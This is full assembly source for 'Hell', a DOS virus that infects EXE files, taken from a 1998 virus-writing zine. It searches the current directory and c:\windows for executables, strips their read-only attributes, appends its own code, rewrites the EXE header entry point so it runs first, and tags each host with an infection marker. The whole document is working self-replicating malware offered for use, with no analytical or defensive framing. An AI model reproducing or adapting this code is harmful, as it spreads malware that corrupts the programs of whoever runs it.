; INFECTED VOICE        ISSUE 98'09      (C)1994-98, by STEALTH group
; online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
;                                        mailto:noxyucT@usa.net

;
; EXE  "Hell" (C)LordDark.
;


; Advanced version

code    segment 'code'
        assume  cs:code,ds:code
        org     100h
begin:
        push    ds
        push    cs
        pop     ds
        mov     ah,2Ch
        int     21h
        or      dh, dh
        jne     not_xm
        mov     dx,offset xm
        mov     ah,9
        int     21h
not_xm:
        mov     Flag,0
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     dx,offset FindFile
        mov     cx,3fh
        mov     ah,4eh
        int     21h
        jc      Exit
NextFile:
        mov     dx,offset FindFile
        cmp     Flag,0
        je      Flag_Zero
        push    es
        push    cs
        pop     es
        mov     cx, 13
        mov     di, offset Files
        lea     si, [Name_F+12]
        rep     movsb ; ES:[DI],DS:[SI]
        pop     es
        mov     dx,offset WinFile
Flag_Zero:
        mov     ax,4301h
        mov     cx, 0020h
        int     21h
        call    wr_exe
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     ah,4fh
        int     21h
        jc      Exit
        jmp     NextFile
Exit:
        inc     Flag
        cmp     Flag,2
        je      Not_Flag_1
Flag_1:
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     dx,offset FindWin
        mov     cx,3fh
        mov     ah,4eh
        int     21h
        jc      Exit
        jmp     NextFile
Not_Flag_1:
        pop     ds
        ;       Exit
        cmp     isFirstRun,0
        jne     Not_FirstRun
        mov     ax,4c00h
        int     21h
Not_FirstRun:
        retf
wr_exe:
        ;       Open
        mov     dx,offset Name_F
        cmp     Flag,0
        je      Flag_Zero_2
        mov     dx,offset WinFile
Flag_Zero_2:
        mov     ax,3d02h
        int     21h
        xchg    bx,ax
        jnc     yes_open
        jmp     Exit_Wr_Exe
Yes_Open:
        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h
        mov     ah,3fh
        mov     dx,offset hdr
        mov     cx,len_hdr
        int     21h
        jnc     Yes_Read
        jmp     Close
Yes_Read:
        mov     ax,ReloCS
        mov     word ptr i_1[1],ax
        mov     ax,ExeIP
        mov     word ptr i_2[1],ax
        ;       GetFileSize
        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h
        mov     len_t_1,dx
        mov     len_t_2,ax
        mov     cx,dx
        xchg    dx,ax
        sub     dx, 2
        jnc     ok_read
        dec     cx
ok_read:
        mov     ax,4200h
        int     21h
        mov     ah,3fh
        mov     dx,offset buf
        mov     cx,2
        int     21h
        cmp     buf,'ll'
        jne     is_Not_Infected
        jmp     Close
Is_Not_Infected:
        mov     cx,len_t_1
        mov     dx,len_t_2
        mov     si,cx
        mov     di,dx
        mov     ah,40h
        mov     dx,offset imit
        mov     cx,len_imit
        int     21h
        jnc     Yes_Write_Imit
        jmp     Close
Yes_Write_Imit:
        mov     cx,si
        mov     dx,di
        add     dx,len_imit
        jnc     m1
        inc     cx
m1:     add     dx,15
        jnc     m2
        inc     cx
m2:     and     dx,0fff0h
        mov     si,cx
        mov     di,dx
        mov     ax,4200h
        int     21h
        mov     al,isFirstRun
        push    ax
        mov     isFirstRun,1
        mov     ah,40h
        mov     dx,offset begin
        mov     cx,SizeProc
        int     21h
        pop     ax
        mov     IsFirstRun,al
        jnc     Yes_Attack_Progu
        jmp     Close
Yes_Attack_Progu:
        push    bx
        mov     ax,si
        mov     bx,di
        add     bx,ax
        mov     cl,4
        ror     bx,cl
        sub     bx,10h
        sub     bx,HdrSize
        mov     ReloCS,bx
        mov     ax,PartPag
        and     ax,000fh
        mov     bx,ax
        add     ax,len_imit
        add     ax,15
        and     ax,0fff0h
        add     bx,100h
        sub     bx,ax
        mov     ExeIP,bx
        mov     ax,si
        mov     bx,di
        add     bx,SizeProc
        jnc     m3
        inc     ax
m3:     mov     dx,bx
        and     dx,1ffh
        mov     PartPag,dx
        add     bx,511
        jnc     m4
        inc     ax
m4:     and     bh,0feh
        mov     ah,bh
        mov     cl,9
        ror     ax,cl
        mov     PageCnt,ax
        pop     bx
        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h
        mov     ah,40h
        mov     dx,offset hdr
        mov     cx,len_hdr
        int     21h
Close:
        mov     ah,3eh
        int     21h
Exit_Wr_Exe:
        ret
        ;       Data
FindFile        db      '*.exe',0
FindWin         db      'c:\windows\*.exe',0
WinFile         db      'c:\windows\'
Files           db      13 dup (0)
len_wf          equ     $-WinFile
imit    label   byte
        mov     ax,es
i_1:    add     ax,0
        add     ax,10h
        push    ax
i_2:    mov     ax,0
        push    ax
        mov     ax,100h
        push    ax
        db      0c3h
len_imit        equ     $ - imit
XM      db      'XPEHOBO MHE !!!','$'
isFirstRun      db      0
        db      'Hell'
SizeProc        equ     $ - begin
Flag    db      0
len_t_1 dw      0
len_t_2 dw      0
Buf     dw      0
FindData        label   byte
        db      21     dup (0)
Attr    db      0
        dd      0
        dd      0
Name_F  db      12      dup  (0)
        db      0
hdr     label   byte
        dw      0
PartPag dw      0
PageCnt dw      0
        dw      0
HdrSize dw      0
        dw      5   dup   (0)
ExeIP   dw      0
ReloCS  dw      0
len_hdr equ     $ - hdr
        code    ends
        end     begin